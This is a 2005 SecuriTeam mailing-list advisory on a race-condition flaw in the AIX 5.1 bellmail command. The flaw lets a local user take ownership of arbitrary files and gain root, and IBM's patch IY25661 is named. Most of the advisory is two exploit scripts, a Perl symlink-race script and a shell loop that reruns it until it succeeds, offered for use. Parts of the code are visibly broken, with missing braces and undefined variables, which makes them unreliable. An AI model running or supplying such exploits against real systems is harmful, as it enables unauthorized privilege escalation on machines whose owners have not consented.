[EXPL] Bellmail Race Condition Vulnerability (Exploits)

From: SecuriTeam (support_at_securiteam.com)
Date: 05/19/05

  • Next message: SecuriTeam: "[EXPL] Invision Power Board SQL Injection Vulnerability (member_id, Exploit)"
    To: list@securiteam.com
    Date: 19 May 2005 16:38:04 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.

    - - - - - - - - -

      Bellmail Race Condition Vulnerability (Exploits)


    Bellmail "is the original AT&T UNIX mail command, which handles mail for
    users on the same system and also for users on remote systems that can be
    accessed by means of Basic Network Utilities (BNU), sometimes known as the
    UNIX-to-UNIX Copy Program (UUCP). "

    A race condition vulnerability was found at Bellmail command that allow
    attackers to run a shell as root.


    Vulnerable Systems:
     * IBM AIX version 5.1

    Vendor Status:
    The vendor has released a patch to fix the vulnerability named IY25661.

    Exploit 1:
    # FileName: x_aix5_bellmail.pl
    # Exploit "Race condition vulnerability (BUGTRAQ ID: 8805)" of
    # command on Aix5 to change any file owner to current user.
    #Usage : x_aix5_bellmail.pl aim_file
    # aim_file : then file wich you want to chown to you.
    # Note : Maybe you should run more than one to "Race condition".
    # The file named "x_bell.sh" can help you to use this exp.
    # You should type "w" "Enter" then "q" "Enter" key on keyboard
    # as fast as you can when bellmail prompt "?" appear.
    # Author : watercloud@xfocus.org
    # XFOCUS Team
    # http://www.xfocus.net (CN)
    # http://www.xfocus.org (EN)
    # http://xcon.xfocus.org (XCon's Home)
    # Date : 2004-6-6
    # Tested : on Aix5.1.
    # Addition: IBM had offered a patch named "IY25661" for it.
    # Announce: use as your owner risk!


    $AIM_FILE = shift @ARGV ;
    $FORK_NUM = 1000;

    die "AIM FILE \"$AIM_FILE\" not exist.\n" if ! -e $AIM_FILE;

    unlink $MBOX;
    system "echo abc > $TMPFILE";
    system "$CMD $ENV{LOGIN} < $TMPFILE";
    unlink $TMPFILE;

    $ret=`ls -l $AIM_FILE"`;
    print "Before: $ret";

    if( fork()==0 )
            exit 0 ;
    sleep( (rand()*100)%4);
    exec $CMD;

    $ret=`ls -l $AIM_FILE"`;
    print "Now: $ret";

    sub deamon {
            $num = shift || 1;
            for($i=0;$i<$num;$i++) {
                    &do_real() if fork()==0;
    sub do_real {
            if(-e $MBOX) {
                    unlink $MBOX ;
                    symlink "$AIM_FILE",$MBOX;
            exit 0;

    Exploit 2:
    #The assistant of x_aix5_bellmail.pl
    #Author : watercloud@xfocus.org
    #Date :2004-6-6


    if [ $# ne 1 ] ;then
            echo "Need a aim file name as argv."
            exit 1;

    if [ ! -e "$1" ];then
            echo "$1 not exist!"
            exit 1
    if [ ! -x "$X_BELL_PL" ];then
            echo "can not exec $X_BELL_PL"
            exit 1

    ret=`ls -l $AIM`
    echo $ret; echo
    fuser=`echo $ret |awk '{print $3}'`
    while [ "$fuser" != "$LOGIN" ]
            $X_BELL_PL $AIM
            ret=`ls -l $AIM`
            echo $ret;echo
            fuser=`echo $ret |awk '{print $3}'`
    echo $ret; echo


    The information has been provided by <mailto:watercloud@xfocus.org>
    The original exploits can be found at:


    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com


    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[EXPL] Invision Power Board SQL Injection Vulnerability (member_id, Exploit)"